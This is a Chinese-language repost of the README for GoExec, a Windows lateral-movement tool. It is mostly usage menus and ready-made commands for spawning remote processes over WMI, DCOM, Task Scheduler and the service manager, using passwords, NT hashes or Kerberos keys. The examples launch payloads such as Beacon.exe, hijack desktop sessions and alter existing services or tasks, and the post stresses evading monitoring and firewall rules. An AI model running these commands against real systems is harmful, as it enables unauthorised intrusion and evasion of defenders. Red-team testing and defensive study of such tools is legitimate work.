GoExec 一款Windows横向渗透工具

GoExec 一款Windows横向渗透工具

GoExec 是对一些用于在 Windows 设备上进行远程执行的方法的全新演绎。GoExec 实现了许多尚未实现的执行方法,并总体上显著提升了 OPSEC 性能。

介绍

在 Windows 设备上生成远程进程已成为 Active Directory 网络及其他网络横向移动的常见做法。了解实现远程执行的几种方法对于黑客和系统管理员来说都至关重要。在本文中,我们将介绍我们的新项目goexec,它是一种改进的替代方案,可以替代许多用于相同目的的现有工具。

GoExec 一款Windows横向渗透工具

为什么选择 Goexec?

Goexec 对业界常用的现有解决方案(如 Impacket 远程执行脚本(atexec.pydcomexec.pypsexec.pysmbexec.py, and wmiexec.py).)进行了大量的补充和改进

  • OPSEC 优先现有工具(尤其是 Impacket 脚本)的主要问题之一是缺乏对 OPSEC 的考量。Goexec 的设计目标是默认为 每个操作使用最佳的 OPSEC 措施,同时仍然提供执行不安全操作(例如获取程序输出)的可选功能。
  • 附加方法 Goexec 提供了一些与其他工具截然不同的附加方法。例如,诸如tsch change或 之类的方法scmr change会编辑现有资源,而不是创建新资源。此类方法旨在改进 OPSEC 并潜在地规避防御。
  • 可调整 CLI 的设计旨在为每种执行方法提供尽可能多的相关选项。这使得操作员能够根据其环境轻松调整操作。
  • 本机代理支持--proxyGoexec 使用/标志 支持 SOCKS5 代理-x,而无需像proxychains这样的外部软件。
  • 动态传输 Goexec 允许操作员使用一系列标志配置 MSRPC 连接参数、传输和端点。此功能可能有助于操作员绕过端口限制或逃避网络监控。
  • 丰富的日志记录Impacket 库及其依赖脚本缺乏完善的调试日志记录功能,这给故障排除和开发带来了极大的不便。Goexec 在go-msprc 的帮助下,通过快速的zerolog模块提供了丰富的日志记录功能。

在初始版本中,Goexec支持在 Windows 设备上获取远程执行的四种主要方法,所有这些方法都涉及使用远程过程调用 (RPC)与以下服务进行通信:

  • 服务控制管理器(MS-SCMR
  • 任务计划程序(MS-TSCH
  • 分布式组件对象模型(MS-DCOM
  • Windows 管理规范 ( MS-WMI )

安装

使用 Go 构建和安装

要从源代码构建此项目,您需要 Go 1.23.* 或更高版本以及 64 位目标架构。有关管理 Go 安装的更多信息,请参阅此处

# Install goexec
go install -ldflags="-s -w" github.com/FalconOpsLLC/goexec@latest

手动安装

对于预发布功能,请获取最新提交并手动构建。

# (Linux) Install GoExec manually from source
# Fetch source
git clone https://github.com/FalconOpsLLC/goexec
cd goexec

# Build goexec (Go >= 1.23)
CGO_ENABLED=0 go build -ldflags="-s -w"

# (Optional) Install goexec to /usr/local/bin/goexec
sudo install ./goexec /usr/local/bin

使用 Docker 安装

我们提供了一个 Dockerfile 来在 Docker 容器内构建和运行 GoExec。

# (Linux) Install GoExec Docker image
# Fetch source
git clone https://github.com/FalconOpsLLC/goexec
cd goexec

# Build goexec image
docker build . --tag goexec --network host

# Run goexec via Docker container
alias goexec='docker run -it --rm --name goexec goexec'
goexec -h # display help menu

从发布版本安装

您还可以下载适用于 64 位 Windows、macOS 或 Linux 的最新版本。

用法

wmiGoExec 由用于每个远程服务的模块(即、scmr等)以及每个模块内的特定方法(即wmi procscmr change等)组成。

用法:
  goexec [命令] [选项]

执行命令:
  dcom        使用分布式组件对象模型 (MS-DCOM) 执行
  wmi         使用 Windows 管理规范 (MS-WMI) 执行
  scmr        使用服务控制管理器远程协议 (MS-SCMR) 执行
  tsch        使用 Windows 任务计划程序 (MS-TSCH) 执行

附加命令:
  help        显示任意命令的帮助信息
  completion  为指定的 shell 生成自动补全脚本

日志记录:
  -D, --debug           启用调试日志
  -O, --log-file 文件   将 JSON 日志输出写入文件
  -j, --json            以 JSON 行格式输出日志
  -q, --quiet           禁用信息日志

身份认证:
  -u, --user user@domain      用户名('user@domain'、'domain\user'、'domain/user' 或 'user')
  -p, --password 字符串       密码
  -H, --nt-hash 哈希值        NT 哈希('NT'、':NT' 或 'LM:NT')
      --aes-key 十六进制密钥  Kerberos AES 十六进制密钥
      --pfx 文件              客户端证书和私钥的 PFX 文件
      --pfx-password 字符串   PFX 文件的密码
      --ccache 文件           Kerberos CCache 文件名(默认为 $KRB5CCNAME,当前未设置)
      --dc 字符串             域控制器
  -k, --kerberos              使用 Kerberos 身份验证

使用 "goexec [命令] --help" 获取有关某个命令的更多信息。

获取远程进程输出

虽然出于 OPSEC 方面的考虑,我们不建议在实时交战或受监控环境中使用此功能,但我们提供了可选功能,可以使用该-o标志通过 SMB 文件传输获取程序输出。使用此标志会将提供的命令包装在一个随机 GUID 中cmd.exe /c ... > \Windows\Temp\RANDOMRANDOM然后通过 SMB 文件传输获取输出文件。

WMI 模块(wmi

wmi模块使用远程 Windows 管理规范 (WMI) 来生成进程 ( wmi proc),或手动调用方法 ( wmi call)。

用法:
  goexec wmi [命令] [选项]

可用命令:
  proc        启动一个 Windows 进程
  call        执行指定的 WMI 方法

... [继承的选项] ...

网络:
  -x, --proxy URI           代理 URI
  -F, --epm-filter 字符串   用于过滤 RPC 端点映射器(EPM)返回端点的绑定字符串
      --endpoint 字符串     明确指定 RPC 端点
      --no-epm              不使用 EPM 自动检测 RPC 端点
      --no-sign             禁用 DCERPC 消息的签名
      --no-seal             禁用 DCERPC 消息的数据加密(封包加密)

进程创建方法(wmi proc

proc方法创建Win32_ProcessWMI 类的一个实例,然后调用该Create方法使用提供的参数生成一个进程。

用法:
  goexec wmi proc [目标] [选项]

执行:
  -e, --exec 字符串            要在远程 Windows 上调用的可执行文件
  -a, --args 字符串            进程命令行参数
  -c, --command 字符串         Windows 进程命令行(可执行文件和参数)
  -o, --out 字符串             获取执行输出到文件,或使用 "-" 输出到标准输出
  -m, --out-method 字符串      获取执行输出的方法(默认值为 "smb")
      --no-delete-out          保留远程文件系统上的输出文件
  -d, --directory 字符串       工作目录(默认值为 "C:\\")

... [继承的选项] ...
示例
# Run an executable without arguments
./goexec wmi proc "$target" \
  -u "$auth_user" \
  -p "$auth_pass" \
  -e 'C:\Windows\Temp\Beacon.exe' \

# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all`
./goexec wmi proc "$target" \
  -u "$auth_user" \
  -H "$auth_nt" \
  -e 'cmd.exe' \
  -a '/C whoami /all' \
  -o- # Fetch output to STDOUT

(辅助)调用方法(wmi call

call方法使操作员能够完全控制 WMI 方法调用。您可以使用 PowerShell 的 列出 Windows 上可用的类和方法Get-CimClass

用法:
  goexec wmi call [目标] [选项]

WMI:
  -n, --namespace 字符串    WMI 命名空间(默认值为 "//./root/cimv2")
  -C, --class 字符串        要实例化的 WMI 类(例如 "Win32_Process")
  -m, --method 字符串       要调用的 WMI 方法(例如 "Create")
  -A, --args 字符串         WMI 方法参数,使用 JSON 字典格式(例如 {"Command":"calc.exe"})(默认值 "{}")

... [继承的选项] ...
示例
# Call StdRegProv.EnumKey - enumerate registry subkeys of HKLM\SYSTEM
./goexec wmi call "$target" \
    -u "$auth_user" \
    -p "$auth_pass" \
    -C 'StdRegProv' \
    -m 'EnumKey' \
    -A '{"sSubKeyName":"SYSTEM"}'

DCOM模块(dcom

dcom模块使用公开的分布式组件对象模型 (DCOM) 对象来生成进程。

警告

DCOM 模块通常不如其他模块可靠,因为底层方法通常依赖于目标 Windows 版本和特定的 Windows 设置。


用法:
  goexec dcom [命令] [选项]

可用命令:
  mmc                使用 MMC20.Application DCOM 对象执行
  shellwindows       使用 ShellWindows DCOM 对象执行
  shellbrowserwindow 使用 ShellBrowserWindow DCOM 对象执行

... [继承的选项] ...

网络:
  -x, --proxy URI           代理 URI
  -F, --epm-filter 字符串   用于过滤 RPC 端点映射器(EPM)返回端点的绑定字符串
      --endpoint 字符串     明确指定 RPC 端点
      --no-epm              不使用 EPM 自动检测 RPC 端点
      --no-sign             禁用 DCERPC 消息的签名
      --no-seal             禁用 DCERPC 消息的数据加密(封包加密)

MMC20.Application方法 (dcom mmc

mmc方法使用公开的MMC20.Application对象来调用Document.ActiveView.ShellExec,并最终在远程主机上生成一个进程。

用法:
  goexec dcom mmc [目标] [选项]

执行:
  -e, --exec 字符串            要在远程 Windows 上调用的可执行文件
  -a, --args 字符串            进程命令行参数
  -c, --command 字符串         Windows 进程命令行(可执行文件和参数)
  -o, --out 字符串             获取执行输出到文件,或使用 "-" 输出到标准输出
  -m, --out-method 字符串      获取执行输出的方法(默认值为 "smb")
      --no-delete-out          保留远程文件系统上的输出文件
      --directory 目录         工作目录(默认值为 "C:\\")
      --window 字符串          窗口状态(默认值为 "Minimized")

... [继承的选项] ...

示例
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /priv` to file
./goexec dcom mmc "$target" \
  -u "$auth_user" \
  -H "$auth_nt" \
  -e 'cmd.exe' \
  -a '/c whoami /priv' \
  -o ./privs.bin # Save output to ./privs.bin

ShellWindows方法 (dcom shellwindows

shellwindows方法使用ShellWindows DCOM 对象来调用并生成远程进程。由于以下几个原因,Item().Document.Application.ShellExecute此执行方法不如该方法稳定:dcom mmc

  • 此方法可能不适用于最新的 Windows 版本
  • 它可能要求目标机器上有一个活动的桌面会话。
  • 成功执行可能是代表桌面用户,不一定是管理员。
用法:
  goexec dcom shellwindows [目标] [选项]

执行:
  -e, --exec 字符串            要在远程 Windows 上调用的可执行文件
  -a, --args 字符串            进程命令行参数
  -c, --command 字符串         Windows 进程命令行(可执行文件和参数)
  -o, --out 字符串             获取执行输出到文件,或使用 "-" 输出到标准输出
  -m, --out-method 字符串      获取执行输出的方法(默认值为 "smb")
      --no-delete-out          保留远程文件系统上的输出文件
      --directory 目录         工作目录(默认值为 "C:\\")
      --app-window ID          应用窗口状态 ID(默认值为 "0")

... [继承的选项] ...

应用程序窗口参数 ( --app-window) 必须是此处描述的值之一(vShow参数 )

示例
# Authenticate with local admin NT hash, execute `netstat.exe -anop tcp` w/ output
./goexec dcom shellwindows "$target" \
  -u "$auth_user" \
  -H "$auth_nt" \
  -e 'netstat.exe' \
  -a '-anop tcp' \
  -o- # write to standard output

# Authenticate with local admin password, open maximized notepad window on desktop
./goexec dcom shellwindows "$target" \
  -u "$auth_user" \
  -p "$auth_pass" \
  -e 'notepad.exe' \
  --directory 'C:\Windows' \
  --app-window 3 # Maximized

ShellBrowserWindow方法 (dcom shellbrowserwindow

shellbrowserwindow方法使用公开的ShellBrowserWindow DCOM 对象来调用并生成提供的进程。此方法的潜在约束与ShellWindows 方法Document.Application.ShellExecute类似。

用法:
  goexec dcom shellbrowserwindow [目标] [选项]

执行:
  -e, --exec 字符串            要在远程 Windows 上调用的可执行文件
  -a, --args 字符串            进程命令行参数
  -c, --command 字符串         Windows 进程命令行(可执行文件和参数)
  -o, --out 字符串             获取执行输出到文件,或使用 "-" 输出到标准输出
  -m, --out-method 字符串      获取执行输出的方法(默认值为 "smb")
      --no-delete-out          保留远程文件系统上的输出文件
      --directory 目录         工作目录(默认值为 "C:\\")
      --app-window ID          应用窗口状态 ID(默认值为 "0")

... [继承的选项] ...

示例
# Authenticate with NT hash, open explorer.exe maximized
./goexec dcom shellbrowserwindow "$target" \
  -u "$auth_user@$domain" \
  -H "$auth_nt" \
  -e 'explorer.exe' \
  --app-window 3

任务计划程序模块(tsch

tsch模块利用 Windows 任务计划程序服务(MS-TSCH)在远程目标上生成进程。


用法:
  goexec tsch [命令] [选项]

可用命令:
  demand      注册一个远程计划任务并立即启动
  create      创建一个具有自动启动时间的远程计划任务
  change      修改现有任务以启动任意进程

... [继承的选项] ...

网络:
  -x, --proxy URI           代理 URI
  -F, --epm-filter 字符串   用于过滤 RPC 端点映射器(EPM)返回的端点的绑定字符串
      --endpoint 字符串     明确指定 RPC 端点
      --no-epm              不使用 EPM 自动检测 RPC 端点
      --no-sign             禁用 DCERPC 消息的签名
      --no-seal             禁用 DCERPC 消息的数据加密

创建计划任务(tsch create

该方法使用SchRpcRegisterTaskcreate注册一个计划任务,通过TimeTrigger设置自动启动时间,并使用DeleteExpiredTaskAfter设置可选的自动删除功能。

用法:  
  goexec tsch create [目标] [参数]  

任务计划程序:  
  -t, --task string            新任务的名称或路径  
      --delay-stop duration    任务执行与终止之间的延迟。此操作不会停止已生成的进程(默认 5s)  
      --start-delay duration   任务注册与执行之间的延迟(默认 5s)  
      --no-delete              执行后不删除任务  
      --call-delete            直接调用 SchRpcDelete 删除任务  
      --sid SID                用于模拟的用户 SID(默认 "S-1-5-18")  

执行:  
  -e, --exec string         要调用的远程 Windows 可执行文件  
  -a, --args string         进程命令行参数  
  -c, --command string     Windows 进程命令行(可执行文件及参数)  
  -o, --out string          将执行输出保存到文件,或 "-" 表示标准输出  
  -m, --out-method string   获取执行输出的方法(默认 "smb")  
      --no-delete-out       保留远程文件系统上的输出文件  

... [继承的参数] ...
示例

# Authenticate with NT hash via Kerberos, register task at \Microsoft\Windows\GoExec, execute `C:\Windows\Temp\Beacon.exe`
./goexec tsch create "$target" \
  --user "${auth_user}@${domain}" \
  --nt-hash "$auth_nt" \
  --dc "$dc_ip" \
  --kerberos \
  --task '\Microsoft\Windows\GoExec' \
  --exec 'C:\Windows\Temp\Beacon.exe'

创建计划任务和需求启动(tsch demand

与方法类似create,该demand方法也会调用SchRpcRegisterTask,但它不会设置任务启动的具体时间,而是会额外调用SchRpcRun以强制启动任务。此方法还可以通过提供会话 ID 来劫持桌面会话--session

用法:
  goexec tsch demand [目标] [参数]

任务计划程序:
  -t, --task string      新任务的名称或路径
      --session uint32   劫持指定会话ID的现有会话
      --sid string      用于模拟的用户SID(默认"S-1-5-18")
      --no-delete        执行后不删除任务

执行:
  -e, --exec string         要调用的远程Windows可执行文件
  -a, --args string         进程命令行参数
  -c, --command string      Windows进程命令行(可执行文件及参数)
  -o, --out string          将执行输出保存到文件,或"-"表示标准输出
  -m, --out-method string   获取执行输出的方法(默认"smb")
      --no-delete-out       保留远程文件系统上的输出文件

... [继承的参数] ...
示例

# Use random task name, execute `notepad.exe` on desktop session 1
./goexec tsch demand "$target" \
  --user "$auth_user" \
  --password "$auth_pass" \
  --exec 'notepad.exe' \
  --session 1

# Authenticate with NT hash via Kerberos,
#   register task at \Microsoft\Windows\GoExec (will be deleted),
#   execute `C:\Windows\System32\cmd.exe /c set` with output
./goexec tsch demand "$target" \
  --user "${auth_user}@${domain}" \
  --nt-hash "$auth_nt" \
  --dc "$dc_ip" \
  --kerberos \
  --task '\Microsoft\Windows\GoExec' \
  --exec 'C:\Windows\System32\cmd.exe' \
  --args '/c set' \
  --out -

修改计划任务定义(tsch change

change方法调用SchRpcRetrieveTask以获取现有任务的定义(-t--task),然后修改任务定义以生成进程,然后再恢复原始任务。

用法:
  goexec tsch change [目标] [参数]

任务计划程序:
  -t, --task string   现有任务的路径
      --no-start      不启动任务
      --no-revert     不恢复原始任务定义

执行:
  -e, --exec string         要调用的远程Windows可执行文件
  -a, --args string         进程命令行参数
  -c, --command string      Windows进程命令行(可执行文件及参数)
  -o, --out string          将执行输出保存到文件,或"-"表示标准输出
  -m, --out-method string   获取执行输出的方法(默认"smb")
      --no-delete-out       保留远程文件系统上的输出文件

... [继承的参数] ...
示例

# Enable debug logging, Modify "\Microsoft\Windows\UPnP\UPnPHostConfig" to run `cmd.exe /c whoami /all` with output
./goexec tsch change $target --debug \
  -u "${auth_user}" \
  -p "${auth_pass}" \
  -t '\Microsoft\Windows\UPnP\UPnPHostConfig' \
  -e 'cmd.exe' \
  -a '/C whoami /all' \
  -o >(tr -d '\r') # Send output to another program (zsh/bash)

SCMR模块(scmr

SCMR 模块的工作原理与 非常相似smbexec.py,但它提供了额外的 RPC 传输来逃避网络监控或防火墙规则,并且在整体上进行了一些小的 OPSEC 改进。

警告

scmr模块目前无法获取进程输出。此功能将在未来的版本中添加。

用法:
  goexec scmr [命令] [参数]

可用命令:
  create      通过创建并运行Windows服务来生成远程进程
  change      修改现有Windows服务以生成任意进程
  delete      删除现有Windows服务

... [继承参数] ...

网络设置:
  -x, --proxy URI           代理URI
  -F, --epm-filter string   用于过滤RPC端点映射器(EPM)返回端点的字符串绑定
      --endpoint string     显式定义RPC端点
      --no-epm              不使用EPM自动检测RPC端点
      --no-sign             禁用DCERPC消息签名
      --no-seal             禁用DCERPC消息包存根加密

创建服务(scmr create

create方法用于通过创建 Windows 服务来生成进程。此方法需要远程可执行文件的完整路径(C:\Windows\System32\calc.exe例如

用法:
  goexec scmr change [目标] [参数]

服务控制:
  -s, --service-name string   要修改的服务名称
      --no-start              不启动服务

执行参数:
  -f, --executable-path string   远程Windows可执行文件的完整路径
  -a, --args string              传递给可执行文件的参数
示例

# Use MSRPC instead of SMB, use custom service name, execute `cmd.exe`
./goexec scmr create "$target" \
  -u "${auth_user}@${domain}" \
  -p "$auth_pass" \
  -f 'C:\Windows\System32\cmd.exe' \
  -F 'ncacn_ip_tcp:'

# Directly dial svcctl named pipe ("ncacn_np:[svcctl]"),
#   use random service name,
#   execute `C:\Windows\System32\calc.exe` 
./goexec scmr create "$target" \
  -u "${auth_user}@${domain}" \
  -p "$auth_pass" \
  -f 'C:\Windows\System32\calc.exe' \
  --endpoint 'ncacn_np:[svcctl]' --no-epm

修改服务(scmr change

SCMR 模块的change方法通过使用 RChangeServiceConfigW 方法修改现有的 Windows 服务来执行程序,而不是像 那样调用 RCreateServiceW scmr create。修改的服务在执行后会恢复到原始状态。

警告

在重要的 Windows 服务上使用此模块可能会导致操作系统崩溃。请尝试使用不太重要的服务,例如PlugPlay

用法:
  goexec scmr change [目标主机] [参数选项]

服务控制选项:
  -s, --service-name string   指定要修改的服务名称
      --no-start              修改后不自动启动服务

执行控制选项:
  -f, --executable-path string   指定远程Windows可执行文件的完整路径
  -a, --args string              设置要传递给可执行文件的命令行参数
示例

# Used named pipe transport, Modify the PlugPlay service to execute `C:\Windows\System32\cmd.exe /c C:\Windows\Temp\stage.bat`
./goexec scmr change $target \
  -u "$auth_user" \
  -p "$auth_pass" \
  -F "ncacn_np:" \
  -s PlugPlay \
  -f 'C:\Windows\System32\cmd.exe' \
  -a '/c C:\Windows\Temp\stage.bat'

(辅助)删除服务

SCMR 模块的辅助delete方法将简单地删除所提供的服务。

用法:
  goexec scmr delete [目标主机] [参数选项]

服务控制选项:
  -s, --service-name string   指定要删除的服务名称

致谢

下载地址

https://github.com/FalconOpsLLC/goexec/releases

项目地址

https://github.com/FalconOpsLLC/goexec

转载请注明出处及链接

Leave a Reply

您的邮箱地址不会被公开。 必填项已用 * 标注